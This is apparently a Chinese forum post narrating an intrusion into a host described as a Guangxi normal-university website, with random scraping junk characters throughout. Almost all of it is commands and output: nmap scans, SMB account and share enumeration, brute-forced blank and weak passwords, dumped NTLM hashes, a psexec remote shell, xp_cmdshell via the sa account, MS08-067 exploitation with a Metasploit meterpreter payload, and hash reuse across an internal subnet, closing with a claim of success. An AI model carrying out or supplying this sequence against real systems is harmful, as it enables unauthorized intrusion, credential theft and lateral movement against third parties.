广西师范网站http://202.103.242.241/+ I! w5 }+ b% l. w$ Q) @. B3 W; G; R
& M6 _ S5 {2 q* y, b5 A. S( e/ a1 groot@bt:~# nmap -sS -sV 202.103.242.241
( i5 H! l: a* i; S5 F% K7 m- b e1 p5 ?# T# g
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
( R( W4 y: E! @ p ^9 S( a$ ?; P! A: o, I& f/ a
Nmap scan report for bogon (202.103.242.241)$ x( [- N. P% s2 g
2 I, v, J6 Y: {8 J3 `- [Host is up (0.00048s latency).* n2 P7 S! |- Q: a0 s- f- d
5 C, n$ q& ^, k( ~
Not shown: 993 closed ports7 Q! G4 }: f+ \7 u! d# n7 p
) v, D+ x# {4 ^. ]' m7 [8 yPORT STATE SERVICE VERSION
9 F4 V# U! D0 @7 [( X! R5 V' [6 I
W* V8 D4 }* ]7 Q135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
/ V$ P" m# Y2 ~5 O8 U, R
( B& V) B3 w) n7 Q, u% T139/tcp open netbios-ssn
1 Z! V( j2 f; C, K+ Y& U" L2 G. f( y4 A, V1 C
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds, B5 k+ q% {/ @$ E
( ^! F a8 |) K. p4 X0 p) x
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)# n% }$ }' @, D$ O& H- T
0 h4 f( t% X2 d# u, |' F% s
1026/tcp open msrpc Microsoft Windows RPC
4 @6 L7 z) h5 }" [8 ]3 l
" L( ^/ T$ t& f. b/ [' K3372/tcp open msdtc?- @" W9 i: i1 k7 B+ m
: A! n, d; g$ e- ^3389/tcp open ms-term-serv?
1 {& c, ?3 {: C. D# c) ^# V1 y3 g3 h( J9 `4 @* r& }2 N
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
0 I9 y5 X6 O( r1 ~& c0 q! u0 w: x" r( LSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r$ w( v! h2 W8 [4 [" O
4 a7 |: F; J3 y4 p1 ^SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
2 r$ o: Y! `, a8 W3 w/ Q
) f, ~; D6 ?! @SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
& V& `, A/ M6 [5 g" v- X4 `& i! [9 p/ \/ N# P5 [
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO8 N: E$ X/ m+ X0 V- n( \3 i
& a& U8 Z3 w) M; @" T9 W( j' M; B
SF:ptions,6,”hO\n\x000Z”);0 A2 X& Q. T- w- X6 y7 p
: j+ x5 o! V% U: H1 G }MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems) p& [' n# o# H, L
# ]; v' o8 u1 m& p) _. _! a! o) ?
Service Info: OS: Windows6 F+ f" H! ^* z3 i
, A8 d2 k& I3 q" s0 k
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
' K; E* D6 |8 m( ^; s2 ~/ I7 s: ~) i' I' d s) U
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds C) ]% X Y3 M$ J6 q6 Y
5 k, ^) P, Q% V8 vroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本5 e7 R4 D [# f) G6 Z
& y3 c' o' ?1 T, u4 O J- R. r4 ]-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
$ _+ K: I) O8 ?. a9 y( I! [. b V3 o
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
& `& k* q1 d8 S, x, ?: R4 m1 [9 p5 ?
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse3 z2 A; s! W% ]# M( m7 Y
. y- i( V8 z; T-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
+ v9 i2 k/ @6 ~ C. s$ M& K
+ B( c! G, s$ D$ K3 y8 k-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse9 Z/ \' J! }" V# Q4 R: L, I3 [/ Z
K& B s: e w3 [3 J% h
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse' r- `9 E+ u* U6 l
: r1 b2 N$ z' V8 T
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse! T1 K, y0 D4 ~, W# D% I o
% ]5 t7 a& a7 d' S/ V) f+ N-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
5 R2 h; L( S0 F# E1 L) R
; U9 X6 S N: ~# K/ S-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse f; d; I7 w& |6 W# f4 ^& R' l
$ Z7 f0 m/ G/ H* G* T-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
0 Y% @9 N% ]8 w. ~$ q& F, P9 y; h/ B6 `& l5 p7 T
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse1 Z ^# d4 z: z l, s; O( l' d, v
& ~6 u( n& J- f! [6 R& h
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse) r, ?* A5 D" @" L1 f& w ~, p
( ]2 F) F$ G2 o: U
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse+ }; |1 L! ^" H4 p( b
6 C l0 c6 t9 x$ R: P5 o/ G-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
' r& C& @/ c; } q" t
; @% g0 L* d$ Q2 J; X-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse9 {- V/ W& u; u b, A0 m$ P0 l
0 C' [9 d* ^5 G/ P# b" \7 uroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
5 B" O/ b0 Y) M: H
: X9 x b% H# w* a6 p//此乃使用脚本扫描远程机器所存在的账户名6 Y: ?3 T5 }( d. S" U# A) R7 N. d
; W4 q$ ^; `- ?& ?& `3 A @
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
% B m% B# P' N2 n: n+ m z" `: u6 M3 _' p7 J) {
Nmap scan report for bogon (202.103.242.241) u: `" k" P X6 o
( B3 ~" B' v2 `, J9 Z, t
Host is up (0.00038s latency).2 B3 n3 ~$ y( _& ] p" k% h& v
7 f1 w. k3 I: B2 m4 L
Not shown: 993 closed ports) @9 ~: P7 O; Y3 N2 h
! M8 b1 V2 Z! \& r$ ~3 D5 o: u( t
PORT STATE SERVICE
T, l! u6 _6 S C: X/ ]! C
8 T" F" C1 l- l" F2 H' j135/tcp open msrpc
# W+ h' a5 F4 i( g; `1 ^0 o6 E- `4 _8 e7 T
139/tcp open netbios-ssn! p% f1 N7 {1 p# y- s7 m
/ u; c; l: _& l1 k! c# i445/tcp open microsoft-ds
, |% E+ C: p' X
" m/ D8 V$ r' Q1025/tcp open NFS-or-IIS# |7 V1 k" ]& {* f* F0 t' A1 I
$ T8 I) ?, Q( W/ T
1026/tcp open LSA-or-nterm
! p$ u$ q! o3 K6 M; N" a7 T# M
) |2 e) ^# c: y$ u3372/tcp open msdtc
+ U7 o7 a* F% F8 h2 J, P; q* G
: @( l K4 G# I6 | F- B' R6 d3389/tcp open ms-term-serv/ W# [4 p3 W. j2 L p c
# {+ V) o6 _3 j( X# a
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
t V2 z6 ]- C8 `) }, \6 L
! @. m8 M! T. t- t8 x, YHost script results:
, y/ L" M9 D' r# S& S+ R3 o' F5 P8 [; q7 Z+ ^6 Q/ D
| smb-enum-users:
% ?# T. i3 i7 p5 T b, A+ e$ J& x& X9 P9 k6 B" }1 U
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果2 f7 f u* E+ ~2 ^% E$ f
7 K1 d2 ?$ d: H' k. U
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds' N. @# j. Z2 b1 a: \" I
+ l6 B. A* G6 _3 g9 O! M
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
6 r3 _+ y# x K. I! f; ^
) S5 R t2 ^, J$ A# D% I8 |/ A//查看共享
# i4 _) j: K5 {( q q
% Z; W; n2 \% K: X4 r1 F* j' YStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
# S# W+ ^& d/ V" k3 J. v
# i; z0 }: p7 A8 b" R4 `1 ONmap scan report for bogon (202.103.242.241)
H% Z( q7 s* }& { q% g& j0 @; |, A2 ^
Host is up (0.00035s latency).
4 }0 o$ T9 ?5 w& C2 O7 q8 K
4 P6 m) e( I |7 A) W |7 G/ Z" aNot shown: 993 closed ports5 ?, l# `% F; c* [: R9 R
2 w/ p2 b H- r* ~9 l: m; EPORT STATE SERVICE# U: O( l3 I3 u5 U
r3 W1 @# ^- R
135/tcp open msrpc
; d+ l& G4 k1 U( I, b; T6 C' L B( j
139/tcp open netbios-ssn" u1 D# d: G& u8 _% {
) {+ ] u; t+ j) F445/tcp open microsoft-ds
, N0 n" W4 w% j- X4 H
( I, G+ H. p" @3 q! v1025/tcp open NFS-or-IIS6 x7 z C$ M/ Y4 a6 h2 x
1 n. F+ M% M: ]% I1026/tcp open LSA-or-nterm& _' C- |" \& o( v9 q% y8 P
! F Y) A t, y# E: f3 ~
3372/tcp open msdtc
. H) |4 G- s3 k2 P: Q1 S5 E
2 G* r5 v' r( K3389/tcp open ms-term-serv# P4 J5 V& n E l4 l% z6 m
' q9 C( A- }3 y* F# S1 }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- G: X/ p# E- r/ X) m6 C( ^
; F% Q8 W, p+ V/ E+ _1 `( lHost script results: l9 X$ e2 p3 j$ d
5 l, I+ _0 c: J! g) X| smb-enum-shares:# K0 N* s9 V9 f
, h6 i3 y) z$ F( [* B
| ADMIN$& ^3 g8 g" f( Q1 p2 [
" V8 [* W9 {/ R8 t5 u3 P0 R% w8 \
| Anonymous access: <none>
$ r0 [ _" t/ M% @0 e
' F7 e9 W1 X. K8 o, S, S& X| C$
. z0 ~( m8 z: b# q' {5 ]' _+ K- F1 e; t% h: Z' d
| Anonymous access: <none>: Q; H9 Y; `2 B( t
4 F: P6 Y0 ?9 k* g9 J6 r| IPC$$ M: k- V* U9 \7 ^" Z6 G" u' |( H
- M5 I Q' i9 P/ ~8 Y. Z3 J- p
|_ Anonymous access: READ
! g9 o5 n0 ~3 Y. }% H! l" E
) w9 S& I% P2 D- A) m; g- dNmap done: 1 IP address (1 host up) scanned in 1.05 seconds: ], }7 ]3 ~# H' h
" W' m- W6 D9 d; N6 c) d0 Rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 W( T: u3 g( [: z5 s8 H& o
, S. W. V2 I( s* w//获取用户密码* q) K" f. D" h/ B. g
) G$ {8 i2 J2 a/ i/ TStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST1 P7 I1 a4 ?+ x$ X% w5 l0 ` F
! K( }5 C" _% T& x7 w7 O7 ]" u$ VNmap scan report for bogon (202.103.242.2418), a5 F% q8 G2 f2 W) F& v3 N
+ R6 _& v) J7 A+ V" y0 dHost is up (0.00041s latency).* T5 N6 V2 q: p/ M% Z5 w
- y# z- t- Z! @) o
Not shown: 993 closed ports" ]. v$ _, f; m9 c0 u. c
z+ K# y7 [+ R e
PORT STATE SERVICE& i9 m; u2 d8 A, I6 Q1 p5 ?
5 B# `8 D+ I6 s8 [, R1 d! }/ c
135/tcp open msrpc% U2 V/ {+ R0 I0 ~, v+ V
2 a% k" N# W$ |! M. W139/tcp open netbios-ssn4 e4 M# Y1 g* D2 ?, G; H! X
' N; ?8 ]. D' I' \445/tcp open microsoft-ds
- W- v$ Y* _6 q# m0 d5 x3 f) T) H3 G) g/ r/ `
1025/tcp open NFS-or-IIS. P0 S# V, Y; k A) g0 E" F/ k
0 y9 n( h) ~9 i$ u7 L& Y c+ x
1026/tcp open LSA-or-nterm. L$ Z& b; T* A! O
! v* f. T1 X& f/ N$ V2 r
3372/tcp open msdtc; F; d# y+ t% x! h" M- ^$ d, o5 D
& i) ^2 O) W/ @3389/tcp open ms-term-serv
! C* m. f4 p+ m H
, [6 L; n5 V: w4 S& L8 CMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ O0 ]7 @) ]3 h; z3 [3 J
4 p- @ O8 n' |Host script results:
5 [. H0 q O% {5 g5 ?. q2 @& P1 m+ `8 @/ _9 D
| smb-brute:! Z1 s( k" u# g& |/ I" m! J
# t/ N% J8 ~5 J/ b2 [administrator:<blank> => Login was successful( i! K. Q8 c$ J$ {: W, Q" B K2 ]
; j% j+ u: _/ a- |( Q! ^& l
|_ test:123456 => Login was successful8 ~9 M! l$ `9 v+ {* a
( ?' y4 h8 B$ Q( X" H m
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds6 }+ q w; `0 o) e% N
; f- [% O! W; t" d8 G9 ]root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
! a. d- w* t5 J% i a2 G6 H" l0 A, A
' u( ]6 V- g- Q/ nroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
4 ]/ }. H6 [9 Y. i3 W/ J
0 ^5 V) V; x- @6 j1 I- Iroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
/ W' o2 Y4 G5 J. B1 n+ d0 F) t! L* E! r6 q0 k
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139& y" T( C5 l$ R4 C
. A+ K @8 a- c2 j" o2 m, `
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST2 z$ l% }4 V2 P S# Q1 G
; S. b9 l# E: wNmap scan report for bogon (202.103.242.241)
! d, U$ W# {# h; H3 V0 J/ L( M4 {* P, o7 }
Host is up (0.0012s latency).
E/ q$ ^# s! }3 L1 w$ E3 z8 K3 v- v* M
PORT STATE SERVICE! o9 J" t$ y- R2 @$ O
) C& p; }) O' A( R135/tcp open msrpc
7 Y* H) p0 e, v0 C' s6 C0 N8 v% ^5 o
139/tcp open netbios-ssn
' H. N! M. |0 L/ U9 n! |# y: `; P$ s& c! x( F* G: S1 Z$ ]
445/tcp open microsoft-ds
$ s$ A- p) l- a) U: }. _8 W6 N0 ? g, e, P
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)0 r2 [5 g5 r9 t
D+ s( k: H) T5 g7 A. X1 bHost script results:
* b# q7 R0 a3 R) [7 M6 I& T5 }, F, o* ~; U
| smb-pwdump:
7 L& l& I4 F/ Z) }; g- }! K# q
) t! X6 e( K/ B7 x% M' _| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
/ R- z0 b8 S! v- m- W, g
0 m1 X9 |! ^2 V" w f. X7 g7 [: T| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
* l, l9 A0 ~( J9 @7 M) ]1 J! T
4 m1 k( p( Q' _; B| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
2 ^9 R% m$ _$ [
+ L3 [$ P5 v8 F|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
9 a; d/ @8 d! m) w" T* _
% n# }% f$ F' `) ^Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
: t. N: t, ]6 u( z' I, O7 x, _! q4 I P2 T P' b. p
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell; o8 \$ E# b/ |
% Q& T- D0 P0 M) w$ N-p 123456 -e cmd.exe) b4 I6 w0 T5 T7 ? |- K1 {& ~
6 `: }$ v0 w7 B
PsExec v1.55 – Execute processes remotely
- s( C1 l* t9 n. Z E- |$ `, @ k) v0 L+ h% v1 l
Copyright (C) 2001-2004 Mark Russinovich# |4 r0 J" C1 T+ W0 S
% p+ V6 `, ^/ E) i
Sysinternals – www.sysinternals.com, R- V/ E3 A! Y! T9 _: u# l
) K- E. t+ E6 P. @8 UMicrosoft Windows 2000 [Version 5.00.2195]
9 [. h G! Y5 l9 h* J+ F6 }7 [5 Q K2 b# I5 i& j
(C) 版权所有 1985-2000 Microsoft Corp.# f' a4 {1 Y0 j; @5 c4 e ~1 ]; ^
& k7 f7 x7 U8 z3 y, D- t
C:\WINNT\system32>ipconfig
/ {- o( {8 x' j" I2 S! O+ J8 r7 ]; X1 Q; J: k: P& y) ]
Windows 2000 IP Configuration
3 F# M! T6 h5 L; V0 T. ^( n4 i3 [# F; h
Ethernet adapter 本地连接:2 @. q6 m+ G3 j: N0 B0 ]8 T
! H2 G5 e1 H( ]8 w8 Y. A" e
Connection-specific DNS Suffix . :
0 M( r8 P w) I2 d) W. D9 V3 T) P
/ a1 T2 [4 U7 q* U( Y! s' `0 bIP Address. . . . . . . . . . . . : 202.103.242.241
3 j3 L, L* O6 d
, E; I6 }: [: _* S4 b+ ^3 Y1 a8 [. ?Subnet Mask . . . . . . . . . . . : 255.255.255.07 D% i7 N' E; f5 B$ n! a0 U( M
, K7 |( s* Q6 W2 F) O
Default Gateway . . . . . . . . . : 202.103.1.1
3 @/ N2 g* A, U; g! X3 [+ P Z, l+ f P9 \& I+ h
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
- z z2 H* u! S: t( D# m+ y. B* R: Z+ A x; M! m
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞. e/ C# x4 p0 z' W
' S# P3 o+ E9 @
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST' p0 T. b2 D8 L, Y1 ?; ~
0 l* w. h C( C5 [ X+ ^
Nmap scan report for bogon (202.103.242.241): H0 y4 G8 ~' E" a0 a+ J0 j
1 J$ |, n# [" E( ^Host is up (0.00046s latency).# G4 h0 H1 |; K4 d+ X
/ F! G8 Q5 X; q! O: ~5 zNot shown: 993 closed ports
6 ~& m# F, X1 Y* `" y/ [4 r* X" K; j% `; Y' Q7 z4 s+ E: J% O" P
PORT STATE SERVICE
! k8 J; F8 l: J R" M% | M
4 D% a! e3 k; X8 a& S; ]135/tcp open msrpc+ T& F$ Q9 ]) |
# S1 N* q2 s2 o- D6 b E139/tcp open netbios-ssn
! u% H9 {4 o5 S! i
+ D, H& b* c0 k$ F2 m' Y# v445/tcp open microsoft-ds
; i4 ~7 ?2 [ a: i4 `( y5 ^) ~2 j' }9 a, @/ E/ V0 P4 x
1025/tcp open NFS-or-IIS- Q2 `, Z$ C4 s: n3 s
! Q) ^7 n6 f/ w4 q n& z- ?1026/tcp open LSA-or-nterm
$ U, F# j2 \( s; H x4 @# i% g8 u% Y" P( F7 Z) Q
3372/tcp open msdtc3 V$ N( t7 T( F/ j
0 j" A/ R3 i8 e3 ^7 c6 s) z! b- X% J
3389/tcp open ms-term-serv2 B4 G$ Y: R/ N
2 G/ \% R( n& l" K" v
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)1 C, g/ F; e9 ~, l4 x6 ]
6 ? @7 D" ?7 ^* C8 P/ [7 aHost script results:8 R8 v; ?: W; d* o% t
0 M- C8 f% c% ^3 S: |& ~
| smb-check-vulns:
+ J' D6 n7 S0 r; C
: s# H; ~6 u- x|_ MS08-067: VULNERABLE
% @ h* A8 d7 k! h8 @3 D7 W& C' p' F6 A- R, _3 J; ^7 A V
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds) O$ a1 ?+ J( x$ t. j! J5 J0 Y+ {. O
, k# F- C6 U) O) u; |root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
J3 [* Z6 v, A# Y, l% {0 F5 v& ]8 h L7 N' ~
msf > search ms08
! k" |& t/ Y7 K9 X; K1 A8 p2 ]+ \ y' q3 V
msf > use exploit/windows/smb/ms08_067_netapi
1 `. _2 q D9 Q, @) J- _" G4 h, @% R9 i# h4 I" ]
msf exploit(ms08_067_netapi) > show options
x2 I+ m9 I! M) o$ c- p" h% H
) L, @0 H/ L0 {+ S( y. `6 rmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
! K+ ^, P& N! U! m, C* v+ K. g- K* K0 }5 ^
msf exploit(ms08_067_netapi) > show payloads
: S6 ~; c- r% w& S7 l+ a, x% w7 T/ B
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
5 W0 n% j1 c7 N, R& q9 m0 U; T
- B+ X- A7 h- Xmsf exploit(ms08_067_netapi) > exploit4 b: P$ g. n& x7 d4 R: r
" f/ K& q8 N2 D' [' M5 U' m& X
meterpreter >
) g0 O: Y( @7 X f3 C: }& U- D+ v9 G0 z. U6 n+ b3 S; s
Background session 2? [y/N] (ctrl+z)" F# @9 _$ M5 m% x! @) B
\* R4 O+ s/ l& R' vmsf exploit(ms08_067_netapi) > sessions -l
% i; d, T' W- i8 k6 m6 s& f+ y; X3 `, {
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt9 N4 v8 f% S% ^7 Y: B
" C; E7 S1 |( U! ?) K8 w
test
. w( j9 ^ @8 M- ~9 F
& G7 V L. l9 ~% l' D& radministrator
) H |; P9 J' q0 S5 m$ @) Y4 b8 _6 Q' h! {( e% R1 q' r
root@bt:/usr/local/share/nmap/scripts# vim password.txt: O7 k& Q" \; Z$ ~4 q; c
" X2 T3 O- U) p, b9 `- Y* h" k44EFCE164AB921CAAAD3B435B51404EE
4 G5 b$ i( z, f% O2 b- d" S! L! Z( @( G* Q* h5 m/ p
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 8 p- {, @* Y4 p, B6 N
# y0 H' [- k) k( U. P) `6 v
//利用用户名跟获取的hash尝试对整段内网进行登录
$ K" A" g. z2 G
: k3 a( u+ b- T; qNmap scan report for 192.168.1.105
" ^% O1 W* W+ A. Z$ ]; p; a$ X4 d) q* k* `( T* N7 Q( L4 t
Host is up (0.00088s latency).' c. i! Z9 P* @, O
3 A& o$ x2 Q9 m j
Not shown: 993 closed ports
* k* T k- A6 M- x# [$ F l/ y/ J( f; H$ f2 K
PORT STATE SERVICE% B! ~8 F+ l3 e: Z4 m+ z, {
2 a# S7 l z/ e% y
135/tcp open msrpc" e7 i3 E8 E) r* D9 ]
3 P* t( U7 v3 a" t* g
139/tcp open netbios-ssn
4 [6 T% C! {* u+ H( E3 K1 T& L: r' }
445/tcp open microsoft-ds
' e( r4 h' R7 M
3 F+ v J! S9 m4 r. b# S1025/tcp open NFS-or-IIS
9 t' |4 [ T: j/ F0 `. P6 a1 B
u# u/ L! ^7 c0 n# x& P1026/tcp open LSA-or-nterm' I- p- r$ [! H2 W4 i, z% P5 F1 n
$ [6 k3 @$ W2 @/ }, B
3372/tcp open msdtc
5 F- |0 M" s3 \+ |3 B# A5 W
# w+ H9 J; N2 t9 g3389/tcp open ms-term-serv: V+ A, g$ f& \1 B- _/ ~8 x
$ c# O) w6 b- h) \; @8 ~MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)) L5 k" E; l/ ~8 B
5 x" D0 u0 X; `, w4 k+ u2 Y+ S D6 h, H
Host script results:
$ ^2 Y$ h' D# C: {# ~
( I% N8 v% C, J; S: ^7 o0 b! n| smb-brute:
( X" A, _9 F& J, t* J8 S! ~' L
# Z, H' p& _5 H, a|_ administrator:<blank> => Login was successful! ~1 {. |7 R9 `
4 L6 j$ P7 B% g, ^0 Z
攻击成功，一个简单的msf+nmap攻击~~·$ M3 P9 D5 U$ D2 }9 r# D
+ b! J$ X9 T' q: P: b
|
发表于 2012-12-4 12:46:42
收藏
支持
反对